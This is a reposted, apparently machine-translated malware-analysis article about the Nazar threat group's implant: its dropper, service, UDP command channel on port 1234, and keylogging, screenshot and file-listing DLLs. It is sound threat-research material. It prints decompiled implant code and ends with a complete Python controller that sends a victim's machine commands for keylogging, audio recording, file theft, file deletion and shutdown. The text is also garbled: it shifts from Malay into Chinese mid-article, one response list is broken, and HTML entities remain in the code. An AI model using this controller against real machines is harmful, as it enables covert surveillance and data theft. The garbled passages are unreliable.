Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Bagaimana untuk menganalisis komponen Nazar secara mendalam

Bagaimana untuk menganalisis komponen Nazar secara mendalam

WBOY
WBOYke hadapan
2023-05-12 16:46:06701semak imbas

6:22 AM 11/7/2012 conficker masih mengenai sasaran

6:18 AM 11/7/2012 menyemak log - kami bersih

8:16 PM 7/2/2012 - BOOM!, mendapat panggilan balik

Ini adalah rekod yang ditinggalkan oleh Equation Group (NSA) pada sistem sasaran dan kemudiannya dibocorkan oleh Shadow Brokers. Baru-baru ini, penyelidik keselamatan mendedahkan kumpulan ancaman Nazar yang salah dikenal pasti dan tidak diketahui Perkara berikut akan memberikan analisis mendalam tentang komponen Nazar.

Latar belakang kejadian

Data kebocoran Shadow Brokers membawa banyak kelemahan, seperti EternalBlue, menjadi perhatian, tetapi ia juga mengandungi lebih banyak komponen berharga yang Menunjukkan beberapa langkah berjaga-jaga Kumpulan Persamaan mengambil sebelum melancarkan serangannya.

如何深度分析Nazar 组件

Contohnya, dalam fail yang bocor ialah fail bernama "drv_list.txt" yang mengandungi senarai nama pemandu dan komen yang sepadan, jika pada sistem sasaran Jika pemandu ditemui, maklumat dihantar kepada penyerang.

如何深度分析Nazar 组件

Senarai ini juga mengandungi nama pemandu berniat jahat ini Jika pemandu berniat jahat ini ditemui, ia menunjukkan bahawa sistem sasaran telah dikompromi oleh orang lain, dan kemudian memberi amaran. penyerang untuk "Tarik balik". Komponen utama yang bertanggungjawab untuk jenis pemeriksaan ini dipanggil "Pertikaian Wilayah" atau "TeDi". "TeDi" mengandungi 45 tandatangan yang mencari sistem sasaran untuk kunci pendaftaran dan nama fail yang dikaitkan dengan kumpulan ancaman lain. Tidak seperti imbasan keselamatan, matlamat utama penyerang adalah untuk memastikan operasi mereka sendiri tidak terganggu dan penyerang lain tidak mengesan alat mereka.

如何深度分析Nazar 组件

Dalam sesetengah kes, menghalang operasi sendiri tidak akan mengganggu operasi kumpulan ancaman "mesra" dan tidak akan menyerang sasaran yang sama pada masa yang sama.

如何深度分析Nazar 组件

Penyelidik keselamatan menegaskan bahawa tandatangan ke-37 dalam "TeDi" sedang mencari fail bernama "Godown.dll", yang menunjuk kepada kumpulan ancaman Iran "Nazar" .

如何深度分析Nazar 组件

Proses Pelaksanaan

Nazar mula aktif sekitar tahun 2008, mungkin berkaitan dengan tandatangan 'TeDi' ke-37, yang bertanggungjawab mengesan pemalam Alat Nazar " Goddown.dll".

如何深度分析Nazar 组件

Perduaan awal yang dilaksanakan oleh Nazar ialah gpUpdates.exe. Ia adalah arkib pengekstrakan sendiri (SFX) yang dicipta oleh "Zip 2 Secure EXE". Selepas pelaksanaan, gpUpdates menulis tiga fail ke cakera: Data.bin, info dan Distribute.exe, dan kemudian gpUpdates.exe memulakan Distribute.exe.

Distribute.exe如何深度分析Nazar 组件

Pertama, Distribute.exe akan membaca info dan Data.bin. Data.bin ialah gumpalan binari yang mengandungi berbilang fail PE. Fail maklumat adalah sangat kecil dan mengandungi struktur ringkas yang mewakili panjang fail PE dalam Data.bin. Distribute.exe akan membaca Data.bin satu demi satu mengikut urutan panjang fail. Jadual berikut menunjukkan hubungan antara fail Data.bin dan panjang penulisan maklumat.


Selepas itu, Distribute.exe menggunakan regsv*** untuk menulis 3 fail DLL ke dalam pendaftaran.

如何深度分析Nazar 组件

Gunakan CreateServiceA untuk menambah svchost.exe sebagai perkhidmatan bernama "EYService", mulakan perkhidmatan dan keluar. Perkhidmatan ini adalah bahagian utama serangan, menyelaraskan modul panggilan Nazar.

如何深度分析Nazar 组件

Analisis Komunikasi

Selepas perkhidmatan dilaksanakan, mula-mula sediakan penghidu paket.

如何深度分析Nazar 组件
DWORD __stdcall main_thread(LPVOID lpThreadParameter)
{
  HANDLE hMgr; // edi
  HANDLE hCfg; // esi
  HANDLE hFtr; // edi

  hMgr = MgrCreate();
  MgrInitialize(hMgr);
  hCfg = MgrGetFirstAdapterCfg(hMgr);
  do
  {
    if ( !AdpCfgGetAccessibleState(hCfg) )
      break;
    hCfg = MgrGetNextAdapterCfg(hMgr, hCfg);
  }
  while ( hCfg );
  ADP_struct = AdpCreate();
  AdpSetConfig(ADP_struct, hCfg);
  if ( !AdpOpenAdapter(ADP_struct) )
  {
    AdpGetConnectStatus(ADP_struct);
    MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg);
    adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
    AdpCfgGetMACAddress(hCfg, &mac_address, 6);
    hFtr = BpfCreate();
    BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u);         //  Get Protocol field value
    BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP
    BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF);
    BpfAddCmd(hFtr, BPF_RET, 0);
    AdpSetUserFilter(ADP_struct, hFtr);
    AdpSetUserFilterActive(ADP_struct, 1);
    AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0);
    AdpSetMacFilter(ADP_struct, 2);
    while ( 1 )
    {
      if ( stop_and_ping == 1 )
      {
        adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
        connection_method(2);
        stop_and_ping = 0;
      }
      Sleep(1000u);
    }
  }
  return 0;
}

Setiap kali paket UDP tiba, tidak kira sama ada terdapat respons, IP sumbernya direkodkan untuk digunakan dalam respons seterusnya. Port destinasi paket kemudiannya diperiksa, dan jika ia adalah 1234, data akan dimajukan kepada pemproses arahan.

int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id)
{
  int length; // edi

  length = HIBYTE(udp_packet->length) - 8;
  ntohs(udp_packet->src_port);
  if ( ntohs(udp_packet->dst_port) != 1234 )
    return 0;
  commandDispatcher(&udp_packet[1], src_ip, ip_id, length);
  return 1;
}

Respons data

Setiap respons akan membina paket data dari awal Respons terbahagi kepada 3 jenis:


1 , Muatan 101; 0000

2. Hantar maklumat komputer: port sasaran 100 ;

3、发送文件:通过UDP发送数据,然后是带有的数据包。如果服务器将标识为0x3456的数据包发送到目标端口1234,恶意软件将使用目标端口0x5634发送响应。

如何深度分析Nazar 组件

支持命令

下表为命令支持列表:

如何深度分析Nazar 组件

Dll分析

Godown.dll

Godown.dll是SIG37重点关注的DLL,它是一个小型DLL,只有一个关闭计算机的功能。    

Filesystem.dll

Filesystem.dll是由攻击者自己编写的模块。该模块的目的是枚举受感染系统上的驱动器,文件夹和文件,并将结果写入Drives.txt和Files.txt。

目前发现两个版本均包含PDB路径,其中提到了波斯语为Khzer(或خضر)的文件夹:    

C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

两条路径之间存在一些差异,表明该模块的两个版本不是在同一环境中编译的。    

如何深度分析Nazar 组件    

hodll.dll

hodll.dll模块负责键盘记录,通过设置钩子来完成。该代码来自开源代码库,某种程度上像从互联网上复制了多个项目的代码,最终拼装在一起。    

ViewScreen.dll

该DLL基于名为“ BMGLib”的开源项目,用于获取受害者计算机的屏幕截图。     

附录

IOCs

如何深度分析Nazar 组件

Python Server

from scapy.all import *
import struct
import socket
import hexdump
import argparse
DST_PORT = 1234
# 4000 is the usual port without sending files, but we use it for everything, because why not?
SERVER_PORT = 4000
# We want to make sure the ID has the little endian of it
ID = struct.unpack('>H',struct.pack('<H&#39;,4000))[0]
def get_response(sock, should_loop):
    started = False
    total_payload = b&#39;&#39;
    while(should_loop or not started):
        try:
            payload, client_address = sock.recvfrom(4096)
        except ConnectionResetError:
                payload, client_address = sock.recvfrom(4096)
        
        total_payload += payload
        # Good enough stop condition
        if (len(payload) >= 4
            and payload[:3] == b'---'
            and payload[4] >= ord('0')
            and payload[4] <= ord(&#39;9&#39;)):
            should_loop = False
        started = True
    hexdump.hexdump(total_payload)
MENU = """Welcome to NAZAR. Please choose:
          999 - Get a ping from the victim.
          555 - Get information on the victim&#39;s machine.
          311 - Start keylogging (312 to disable).
          139 - Shutdown victim&#39;s machine.
          189 - Screenshot (313 to disable).
          119 - Record audio from Microphone (315 to disable).
          199 - List drives.
          200 - List recursivley from directory*.
          201 - Send a file*.
          209 - Remove file*.
          599 - List devices.
* (append a path, use double-backslashes)
quit to Quit,
help for this menu.
            """
def get_message():
    while True:
        curr_message = input(&#39;> ').strip()
        if 'quit' in curr_message:
            return None
        if 'help' in curr_message:
            print(MENU)
        else:
            return curr_message
def get_sock():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    server_address = '0.0.0.0'
    server = (server_address, SERVER_PORT)
    sock.bind(server)
    return sock     
def main(ip_addr):
    sock = get_sock()
    
    print(MENU)
    multi_packets = ["200","201", "119", "189", "311", "199", "599"]
    single_packets = ["999", "555"]
    all_commands = single_packets + multi_packets
    while True:
        
        curr_message = get_message()
        if not curr_message:
            break
        
        # Send message using scapy
        # Make sure the IP identification field is little endian of the port.
        sr1(
            IP(dst=ip_addr, id=ID)/
            UDP(sport=SERVER_PORT,dport=1234)/
            Raw(load=curr_message),
            verbose=0
        )
        command = curr_message[:3]
        if command not in all_commands:
            continue
        should_loop = command in multi_packets
        get_response(sock, should_loop)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="victim's IP")
    parser.add_argument('ip')
    args = parser.parse_args()
    main(args.ip)

Atas ialah kandungan terperinci Bagaimana untuk menganalisis komponen Nazar secara mendalam. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam